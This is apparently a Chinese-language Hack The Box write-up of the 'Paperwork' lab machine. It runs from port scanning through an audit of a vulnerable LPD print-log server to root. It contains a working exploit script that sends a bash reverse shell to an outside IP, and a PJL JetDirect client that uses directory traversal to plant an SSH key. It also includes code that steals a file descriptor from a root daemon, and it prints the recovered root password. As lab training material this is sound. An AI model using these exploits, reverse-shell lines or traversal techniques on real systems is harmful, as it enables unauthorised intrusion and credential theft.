HTB靶机 Paperwork 渗透测试记录

misaka19008 发布于 2026-07-16 290 次阅读



基本信息

IP地址:10.129.10.156(非固定IP地址)


信息收集

ICMP检测

PING 10.129.10.156 (10.129.10.156) 56(84) bytes of data.  
64 bytes from 10.129.10.156: icmp_seq=1 ttl=63 time=79.2 ms  
64 bytes from 10.129.10.156: icmp_seq=2 ttl=63 time=79.7 ms  
64 bytes from 10.129.10.156: icmp_seq=3 ttl=63 time=80.0 ms  
64 bytes from 10.129.10.156: icmp_seq=4 ttl=63 time=79.8 ms  
  
--- 10.129.10.156 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3005ms  
rtt min/avg/max/mdev = 79.226/79.660/79.966/0.271 ms

攻击机和靶机间网络连接状态良好。

防火墙检测

# Nmap 7.99 scan initiated Sun Jul 12 07:12:38 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.10.156  
Nmap scan report for 10.129.10.156  
Host is up (0.21s latency).  
All 65535 scanned ports on 10.129.10.156 are in ignored states.  
Not shown: 59455 open|filtered tcp ports (no-response), 6080 closed tcp ports (reset)  
  
# Nmap done at Sun Jul 12 07:15:24 2026 -- 1 IP address (1 host up) scanned in 166.23 seconds

无法确定靶机防火墙状态。

网络端口扫描

TCP端口详细信息扫描报告

# Nmap 7.99 scan initiated Sun Jul 12 07:37:15 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 2000 -oN tcp_result.txt 10.129.10.156  
Nmap scan report for 10.129.10.156  
Host is up (0.081s latency).  
Not shown: 65493 filtered tcp ports (no-response), 40 closed tcp ports (conn-refused)  
PORT   STATE SERVICE    VERSION  
22/tcp open  tcpwrapped  
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)  
80/tcp open  tcpwrapped  
|_http-server-header: nginx/1.28.0 (Ubuntu)  
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU  
No OS matches for host  
  
TRACEROUTE (using proto 1/icmp)  
HOP RTT    ADDRESS  
1   ... 30  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
# Nmap done at Sun Jul 12 07:38:55 2026 -- 1 IP address (1 host up) scanned in 100.12 seconds

UDP开放端口扫描报告

# Nmap 7.99 scan initiated Sun Jul 12 07:43:05 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 2000 -oN udp_ports.txt 10.129.10.156  
Nmap scan report for 10.129.10.156  
Host is up (0.32s latency).  
Not shown: 65525 open|filtered udp ports (no-response)  
PORT      STATE  SERVICE  
5542/udp  closed unknown  
6725/udp  closed unknown  
16785/udp closed unknown  
38522/udp closed unknown  
42870/udp closed unknown  
43628/udp closed unknown  
44936/udp closed unknown  
47782/udp closed unknown  
51758/udp closed unknown  
64705/udp closed unknown  
  
# Nmap done at Sun Jul 12 07:45:22 2026 -- 1 IP address (1 host up) scanned in 137.06 seconds

UDP端口详细信息扫描报告

(无)

同时发现,靶机运行Ubuntu Linux操作系统,开放了22/ssh和80/http服务,主域名为paperwork.htb。


服务探测

SSH服务(22端口)

尝试使用ssh命令连接靶机,确定其登录方式:

ssh root@paperwork.htb

Pasted image 20260712155407.png
发现靶机SSH服务可以使用密码和密钥登录。

Web应用程序(80端口)

打开主页:http://paperwork.htb/
Pasted image 20260712200106.png
根据描述,发现该站点为一个关于内部日志系统的说明页面,页面上显示了日志记录提交的部分配置:

  • Protocol:RFC 1179
  • Target Queue:archive_intake
    以及一个链接,貌似为日志处理系统源代码,页面下方提示称提交日志必须使用正确的标识符,上方也有提示称PRN-ARCHIVE-01管理接口已经下线,必须通过内部网关进行操作。
    先点击链接下载文件,发现下载了一个压缩包,压缩包内存在server.py文件:
    Pasted image 20260712202619.png
    经分析研判,决定对server.py进行代码审计。

渗透测试

日志处理程序RCE利用

在服务探测阶段,我们已经发现了主页上内部日志处理程序的下载链接并下载了其源代码,现在对其进行审计。server.py源码如下:

import socket
import threading
import subprocess
import subprocess

VALID_QUEUE = os.environ.get("LPD_QUEUE")

class LpdHandler(threading.Thread):

    def __init__(self, sock, addr):
        super().__init__()
        self.sock = sock
        self.addr = addr
        self.id = f"[lpd-{addr[1]}]"

    def run(self):
        try:
            data = self.sock.recv(1024)
            if not data: return
            
            command = data[0]
            
            if command == 2:
                self.handle_print_job(data)
            elif command in (3, 4):
                self.sock.send(b"Archive_Printer is ready and printing.\n")
                
        except Exception as e:
            print(f"{self.id} Error: {e}")
        finally:
            self.sock.close()

    def handle_print_job(self, data):
        queue = data[1:].decode().strip()
        
        if queue not in VALID_QUEUE:
            print(f"{self.id} Rejected: Invalid queue '{queue}'")
            self.sock.send(b'\x01') 
            return
        print(f"{self.id} Accepted job for queue: {queue}")
        while True:
            chunk = self.sock.recv(1024)
            if not chunk: break
            
            subcommand = chunk[0]
            self.sock.send(b'\x00') 
            parts = chunk[1:].decode(errors='ignore').split()
            if not parts: continue
                
            size = int(parts[0])
            content = b""
            while len(content) < size:
                content += self.sock.recv(size - len(content) + 1)
                
            decoded_content = content.decode(errors='ignore')
                
            job_name = "Unknown"
            for line in decoded_content.split('\n'):
                line = line.strip()
                if line.startswith('J'):
                    job_name = line[1:]
                    break
                
            print(f"{self.id} Executing archive for: {job_name}")
            subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
            
            self.sock.send(b'\x00') 
            self.sock.send(b'\x00')
            while self.sock.recv(4096):
                pass
            break

class LpdServer:

    def __init__(self, ip='0.0.0.0', port=1515):
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server.bind((ip, port))
        self.server.listen(100)
        print(f"[*] LPD Server listening on {port}")

    def run(self):
        while True:
            sock, addr = self.server.accept()
            LpdHandler(sock, addr).start()

if __name__ == "__main__":
    LpdServer(port=1515).run()

通读源代码,可确定该程序就是处理日志的程序,为TCP应用。程序开头首先获取环境变量中配置的标识符,存入VALID_QUEUE变量中,程序结尾初始化了TCP Socket,通过run()方法指定LpdHandler类处理每条连接,最后让程序在每个网络接口的1515/tcp端口上开启监听,尝试使用netcat检查,发现靶机1515端口确实开启:
Pasted image 20260712203627.png
接下来将重点放在LdpHandler类上,开始正式审计前,简单查看构造方法:该方法初始化了Thread父类,并根据传入参数创建了sock、addr 和id成员变量(id变量主要以客户端地址作为标识)。
接着看run()线程体方法:该方法首先从TCP连接中读入1024字节,存入data字节数据变量,并去data[0]为操作类型标识,如其ASCII值为2,则将整个字节数据传入handle_print_job()方法处理,否则打印一些提示信息随后退出。
我们转为分析handle_print_job()方法:

  • 在方法开头,程序将data[1:],即除去首位的字节数组解码成了字符串,并去除了尾部空格,存入queue变量中,随后将该变量与VALID_QUEUE进行了比对,如接收到的标识符和VALID_QUEUE中的一部分匹配,则继续执行,否则报错退出,发送字节\x01。
  • 判断标识符有效后,程序进入循环处理模式;在循环中,程序首先再次从TCP连接中读入1024字节,存入chunk变量,如字节数组变量不为null,则继续执行;chunk的第一个字节会被存入subcommand变量,剩余字节被解码为字符串,去除头尾空格后存入parts变量,发送\x00作为读取成功标识。
  • parts读取完毕后,程序取parts字符串,转整数后作为长度值size,初始化字节数组content并进入循环,如content长度小于size,则读入size - len(content) + 1长度,即size + 1长度的字节(因为一开始content长度总为0),最后将content解码成字符串并去除首尾空格,存入decoded_content变量中。
  • 在方法的最后,程序根据换行符分割decoded_content为字符串数组,使用for循环遍历每个字符串,如字符串以J字母开头,则将该串除去开头字符保存在job_name变量中,直接传入了subprocess.Popen()方法,由此造成任意命令执行漏洞。
    综上所述,如果通过1515/tcp端口的日志处理服务达到RCE,必须构造如下图所示的三段字节数据:
    Pasted image 20260713083843.png
    下面编写利用脚本(尝试使用主页上的Target Queue参数值作为标识符):
#!/usr/bin/python3
import os
import socket

target = "10.129.12.162"
port = 1515
cmd = "/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.47/443 0>&1'"
queueName = "archive_intake"
cmd_payload = ("J" + "';%s;echo '" %(cmd)).encode()
commandBytes = b'\x02' + queueName.encode()
chunk = b'\x02' + ("%d" %(len(cmd_payload))).encode()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.settimeout(20)

try:
    sock.send(commandBytes)
    print("[*] Queue Name sent: %s" %(queueName))
    try:
        sock.settimeout(10)
        rightQueueBit = sock.recv(1024)
        print("Recv: " + rightQueueBit)
        if rightQueueBit[0] == 1:
            print("[-] Incorrect Queue Name: %s" %(queueName))
            os._exit(0)
    except:
        pass
    sock.settimeout(20)

    sock.send(chunk)
    print("[*] chunk sent.")
    ackBit = sock.recv(1024)
    if (ackBit != b'\x00'):
        print("[-] Invalid ACK response received!")
        os._exit(0)

    sock.send(cmd_payload)
    print("[+] RCE payload sent!")
except :
    print("[-] Network Error!")
    os._exit(0)

sock.close()

编写完成后,在本地443端口启动netcat监听,执行攻击脚本:
Pasted image 20260714150601.png
成功收到反弹Shell!


权限提升

操作系统信息收集

基本系统信息
Pasted image 20260716164253.png
进程列表
Pasted image 20260716164400.png
计划任务列表
Pasted image 20260716164437.png
环境变量
Pasted image 20260716164317.png
用户信息
Pasted image 20260716164523.png
用户家目录
Pasted image 20260716165800.png
特殊权限文件
Pasted image 20260716164732.png
开放端口信息
Pasted image 20260716164817.png
敏感文件权限
Pasted image 20260716164909.png
查看系统进程列表,发现存在两个可疑进程:

  • 命令:/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log,用户名:archivist;
  • 命令:/usr/bin/python3 /usr/bin/paperwork-daemon,用户名:root
    由于目前无权限查看/home/archivist/目录,先对/usr/bin/paperwork-daemon进行检查:
file /usr/bin/paperwork-daemon
cat /usr/bin/paperwork-daemon

Pasted image 20260716172115.png
通读程序源代码,发现该程序接受本地UNIX Socket连接,作用是读取/etc/paperwork/admin-pins.conf文件中的敏感数据,并将进一步处理过的SHA256哈希值返回,如果/home/archivist/printer/logs/commands.log日志文件中存在FSQUERY、FSUPLOAD和FSDOWNLOAD三个字符串,则将告警字符串和commands.log、admins_pin.conf的文件描述符返回(文件描述符为附加数据),但/run/paperwork/mgmt.sock目前无法读取。
尝试联网搜索FSQUERY、FSDOWNLOAD和FSUPLOAD,发现以上三个词语其实都是打印机作业语言PJL的命令,分别用于列出目录、读取和上传文件:
Pasted image 20260716173409.png
而如果文件名参数中存在../目录穿越字符且打印服务未进行检查过滤,则会造成任意文件读取和写入漏洞,而JetDirect又是一种基于PJL进行打印机通信的纯文本协议,结合两个进程分析,认为jetdirect.py为JetDirect协议服务器,实现了PJL语言,paperwork-daemon进程为本机信息查询服务,根据jetdirect.py服务的日志决定返回的内容。
经分析研判,决定首先通过JetDirect服务尝试向archivist家目录写入SSH公钥,移动至archivist用户后,再利用paperwork-daemon进程进行提权。

JetDirect服务目录穿越漏洞利用

在操作系统信息收集阶段,我们已经发现了可疑的JetDirect服务,现在尝试编写一个实现FSQUERY、FSDOWNLOAD和FSUPLOAD脚本的客户端。首先通过询问AI,了解JetDirect报文的格式:

----- FSQUERY -----
<ESC>%-12345X@PJL FSQUERY NAME="<Directory Path>"\r\n<ESC>%-12345X\r\n
----- FSUPLOAD -----
<ESC>%-12345X@PJL FSUPLOAD NAME = "<File Path>"\r\n<ESC>%-12345X
----- FSDOWNLOAD -----
<ESC>%-12345X@PJL FSDOWNLOAD FORMAT = BINARY NAME = "<Target Path>" SIZE = <File Size>\r\n<File Data (Bytes)><ESC>%-12345X@PJL EOJ\r\n<ESC>%-12345X

了解协议格式后,我们就可以编写客户端脚本程序了:

import os
import socket
import argparse

class CustomArgParser(argparse.ArgumentParser):
    def error(self, message):
        usageText = '''Usage:
        python JetDirectClient.py --target <Target IP> --port <Port> --mode <Mode> [Arguments]
        Mode FSQUERY:     --listdir <Directory Path>
        Mode FSUPLOAD:    --filePath <Target File Path>
        Mode FSDOWNLOAD:  --sourceFile <Source File Path> --destFile <Destination File Path>
        (Add ../ symbol into file path to perform directory travelsal attack)
        '''
        print(usageText)
        os._exit(0)

def printDisplayBanner():
    print("[+] Content:\n" + '-' * 20 + '\n')

def pjlConnect(target, port):
    try:
        print("[*] Connecting to jetdirect://%s:%d ..." %(target, port))
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target, port))
        print("[+] Successfully connected!")
        return sock
    except Exception as e:
        print("[-] Network Error: %s" %(e))
        os._exit(0)

def pjl_fsdownload(sockConn, local_file_path, printer_dest_path):
    if not os.path.exists(local_file_path):
        print(f"[-] Error: {local_file_path} not exists.")
        return

    file_size = os.path.getsize(local_file_path)
    with open(local_file_path, "rb") as f:
        file_data = f.read()

    ESC = b"\x1b"
    CRLF = b"\r\n"
    
    uel = ESC + b"%-12345X"
    pjl_header = (
        f'@PJL FSDOWNLOAD FORMAT = BINARY NAME = "{printer_dest_path}" SIZE = {file_size}'.encode('ascii') 
        + CRLF
    )
    pjl_footer = uel + b"@PJL EOJ" + CRLF + uel
    payload = uel + pjl_header + file_data + pjl_footer

    try:
        sockConn.sendall(payload)
        print("[+] FSDOWNLOAD request sent!")
    except Exception as e:
        print("[-] Network Error: %s" %(e))
    finally:
        sockConn.close()
        os._exit(0)

def pjl_fsUpload(sockConn, filePath):
    result = b''
    try:
        uel_start = b"\x1b%-12345X"
        pjl_cmd = (f'@PJL FSUPLOAD NAME = "%s"\r\n' %(filePath)).encode('utf-8')
        uel_end = b"\x1b%-12345X\r\n"
        payload = uel_start + pjl_cmd + uel_end
        sockConn.sendall(payload)
        print("[*] FSUPLOAD request sent, receiving file content...")
        while True:
            try:
                chunk = sockConn.recv(1024)
                if not chunk:
                    print("[*] Just reached the end of byte data.")
                    break
                result += chunk
            except socket.timeout:
                print("[+] All file contents received!")
                break
    except Exception as e:
        print("[-] Network Error: %s" %(e))
        os._exit(0)
    
    return result

def pjl_fsQuery(sockConn, pathRead):
    result = b''
    uel_start = b"\x1b%-12345X"
    pjl_cmd = (f'@PJL FSQUERY NAME = "%s"\r\n' %(pathRead)).encode('utf-8')
    uel_end = b"\x1b%-12345X\r\n"
    payload = uel_start + pjl_cmd + uel_end

    try:
        print("[*] Sending FSQUERY request, reading: %s" %(pathRead))
        sockConn.sendall(payload)
        while True:
            try:
                chunk = sockConn.recv(1024)
                if not chunk:
                    print("[*] Just reached the end of byte data.")
                    break
                result += chunk
            except socket.timeout:
                print("[+] All directory data received!")
                break
    except Exception as e:
        print("[-] Network Error: %s" %(e))
        os._exit(0)
    
    return result

target = None
port = None
mode = None
fsQueryPath = None
fsUploadPath = None
fsDownloadDest = None
fsDownloadSource = None

if __name__ == "__main__":
    try:
        parser = CustomArgParser(description="JetDirect Client Argument Parser")
        parser.add_argument('--target', type=str, required=True, help="Target IP Address")
        parser.add_argument('--port', type=int, required=True, help="Target Port")
        parser.add_argument('--mode', type=str, choices=["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"], required=True, help="JetDirect Command Type")
        fsQueryGroup = parser.add_argument_group("fsQueryArguments")
        fsQueryGroup.add_argument('--listdir', type=str, required=False, help="Target Directory Path")
        fsUploadGroup = parser.add_argument_group("fsUploadArguments")
        fsUploadGroup.add_argument('--filePath', type=str, required=False, help="Target File Path")
        fsDownloadGroup = parser.add_argument_group("fsDownloadGroup")
        fsDownloadGroup.add_argument('--sourceFile', type=str, required=False, help="Local File Path")
        fsDownloadGroup.add_argument('--destFile', type=str, required=False, help="Destination Path")
        args = parser.parse_args()
    except argparse.ArgumentError:
        pass

    target = args.target
    port = int(args.port)
    mode = args.mode
    sock = pjlConnect(target, port)
    if args.mode == "FSQUERY":
        fsQueryPath = args.listdir
        content = pjl_fsQuery(sock, fsQueryPath)
        if len(content) == 0: print("[*] Received nothing.")
        else:
            printDisplayBanner()
            print(content.decode(errors='ignore'))
    if args.mode == "FSUPLOAD":
	    fsUploadPath = args.filePath
        content = pjl_fsUpload(sock, fsUploadPath)
        if len(content) == 0: print("[*] Received nothing.")
        else:
            printDisplayBanner()
            print(content.decode(errors='ignore'))
    if args.mode == "FSDOWNLOAD":
        fsDownloadSource = args.sourceFile
        fsDownloadDest = args.destFile
        pjl_fsdownload(sock, fsDownloadSource, fsDownloadDest)

编写完毕后,返回SSH会话,将靶机内网9100端口转发到攻击机9100端口,随后尝试列出打印机目录:

python JetDirectClient.py --target 127.0.0.1 --port 9100 --mode FSQUERY --listdir "0:\\"

Pasted image 20260716190946.png
成功列出目录文件!发现当前正处于/home/archivist/printer/目录内,尝试跨目录上传SSH私钥:

python JetDirectClient.py --target 127.0.0.1 --port 9100 --mode FSDOWNLOAD --sourceFile /root/.ssh/id_rsa.pub --destFile "0:\\..\\.ssh\\authorized_keys"

随后连接SSH:

ssh archivist@paperwork.htb

Pasted image 20260716191634.png
成功!!

UNIX Socket服务提权

登录archivist用户后,我们就拥有了连接/run/paperwork/mgmt.sock本地套接字的权限。由于之前使用JetDirect客户端发送了FSQUERY指令,因此日志文件中一定存在FSQUERY字样,Socket服务会返回安全警告信息,并将/etc/paperwork/admin_pins.conf文件描述符按字节数组形式返回,我们只须将其解码为整数后,使用os.fdopen()方法打开读取数据即可。/usr/bin/paperwork-daemon完整代码如下:

#!/usr/bin/python3
import socket, os, array, hashlib
import zipfile
import shutil

try:
    admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
    os._exit(1)

LOG_PATH = "/home/archivist/printer/logs/commands.log"

def get_admin_secret():
    data = os.pread(admin_fd, 1024, 0).decode().strip()
    if "ADMIN_PASSWORD=" in data:
        return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
    return data

def scan_for_malice():
    if not os.path.exists(LOG_PATH):
        return False
    with open(LOG_PATH, 'r') as f:
        content = f.read().upper()
        if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
            return True
    return False

def trigger_lockdown(conn):
    try:
        log_fd = os.open(LOG_PATH, os.O_RDONLY)
        evidence_bundle = array.array("i", [log_fd, admin_fd])
        msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
        conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])

        zip_path = "/root/quarantine/evidence.zip"
        with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(LOG_PATH, arcname="commands.log")


        with open(LOG_PATH, 'w') as f:
            f.truncate(0)

        os.close(log_fd)
    except:
        pass

def main():
    socket_path = "/run/paperwork/mgmt.sock"
    if os.path.exists(socket_path): os.remove(socket_path)
    if not os.path.exists("/run/paperwork"): os.makedirs("/run/paperwork")

    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.bind(socket_path)
    os.chmod(socket_path, 0o660)
    os.chown(socket_path, 0, 1000)
    s.listen(5)

    while True:
        conn, _ = s.accept()

        if scan_for_malice():
            trigger_lockdown(conn)
        else:
            secret = get_admin_secret()
            token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
            conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())

        conn.close()

if __name__ == "__main__":
    main()

直接执行如下Python代码进行获取文件描述符读取内容:

import os
import socket
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/run/paperwork/mgmt.sock")
msg, ancdata, msg_flags, address = sock.recvmsg(8192, 8192)
fd = int.from_bytes(ancdata[0][2][4:], byteorder='little')
with os.fdopen(fd, 'r') as f:
	print(f.read())

Pasted image 20260716193516.png
尝试将返回的密码配置作为root凭据使用:

  • 用户名:root
  • 密码:ApparelMortuaryCedar22
ssh root@paperwork.htb

Pasted image 20260716193757.png
提权成功!!!!


本次靶机渗透到此结束

此作者没有提供个人介绍。
最后更新于 2026-10-03